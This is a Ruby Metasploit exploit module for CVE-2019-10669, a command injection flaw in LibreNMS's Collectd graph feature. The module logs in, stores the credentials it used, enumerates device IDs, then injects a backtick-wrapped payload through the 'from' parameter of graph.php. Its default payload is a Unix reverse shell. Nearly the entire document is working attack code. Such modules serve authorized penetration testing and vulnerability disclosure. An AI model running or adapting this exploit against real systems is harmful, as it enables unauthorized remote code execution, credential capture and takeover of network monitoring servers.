##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'LibreNMS Collectd Command Injection',
'Description' => %q(
This module exploits a command injection vulnerability in the
Collectd graphing functionality in LibreNMS.
The `to` and `from` parameters used to define the range for
a graph are sanitized using the `mysqli_escape_real_string()`
function, which permits backticks. These parameters are used
as part of a shell command that gets executed via the `passthru()`
function, which can result in code execution.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Eldar Marcussen', # Vulnerability discovery
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-10669' ],
[ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ]
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse' }
}
]
],
'DisclosureDate' => '2019-07-15',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
])
end
def check
res = send_request_cgi!('method' => 'GET', 'uri' => target_uri.path)
return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')
about_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pages', 'about.inc.php')
)
return Exploit::CheckCode::Detected unless about_res && about_res.code == 200
version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/)
return Exploit::CheckCode::Detected unless version && version.length > 1
vprint_status("LibreNMS version #{version[1]} detected")
version = Gem::Version.new(version[1])
return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50')
end
def login
login_uri = normalize_uri(target_uri.path, 'login')
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200
cookies = res.get_cookies
login_res = send_request_cgi(
'method' => 'POST',
'uri' => login_uri,
'cookie' => cookies,
'vars_post' =>
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302
cookies = login_res.get_cookies
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'cookie' => cookies
)
fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')
print_status('Successfully logged into LibreNMS. Storing credentials...')
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
login_res.get_cookies
end
def get_version
uri = normalize_uri(target_uri.path, 'about')
res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200
html = res.get_html_document
version = html.search('tr//td//a')
fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
version.each do |e|
return $1 if e.text =~ /(\d+\.\d+\.?\d*)/
end
end
def get_device_ids
version = get_version
print_status("LibreNMS version: #{version}")
if version && Gem::Version.new(version) < Gem::Version.new('1.50')
dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')
format = '+list_detail'
else
dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device')
format = 'list_detail'
end
dev_res = send_request_cgi(
'method' => 'POST',
'uri' => dev_uri,
'cookie' => @cookies,
'vars_post' =>
{
'id' => 'devices',
'format' => format,
'current' => '1',
'sort[hostname]' => 'asc',
'rowCount' => 50
}
)
fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200
json = JSON.parse(dev_res.body)
fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?
json = json['rows']
fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?
hosts = []
json.each do |row|
hostname = row['hostname']
next if hostname.nil?
id = hostname.match('href=\"device\/device=(\d+)\/')
next unless id && id.length > 1
hosts << id[1]
end
fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?
hosts
end
def get_plugin_info(id)
uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd")
res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
return unless res && res.code == 200
html = res.get_html_document
plugin_link = html.at('div[@class="col-md-3"]//a/@href')
return if plugin_link.nil?
plugin_link = plugin_link.value
plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }]
c_plugin = plugin_hash['c_plugin']
c_type = plugin_hash['c_type']
c_type_instance = plugin_hash['c_type_instance'] || ''
c_plugin_instance = plugin_hash['c_plugin_instance'] || ''
return c_plugin, c_type, c_plugin_instance, c_type_instance
end
def exploit
req_uri = normalize_uri(target_uri.path, 'graph.php')
@cookies = login
dev_ids = get_device_ids
collectd_device = -1
plugin_name = nil
plugin_type = nil
plugin_instance = nil
plugin_type_inst = nil
dev_ids.each do |device|
collectd_device = device
plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device)
break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst)
collectd_device = -1
end
fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1
print_status("Sending payload via device #{collectd_device}")
res = send_request_cgi(
'method' => 'GET',
'uri' => req_uri,
'cookie' => @cookies,
'vars_get' =>
{
'device' => collectd_device,
'type' => 'device_collectd',
'to' => Rex::Text.rand_text_numeric(10),
'from' => "1`#{payload.encoded}`",
'c_plugin' => plugin_name,
'c_type' => plugin_type,
'c_plugin_instance' => plugin_instance,
'c_type_instance' => plugin_type_inst
}
)
end
end
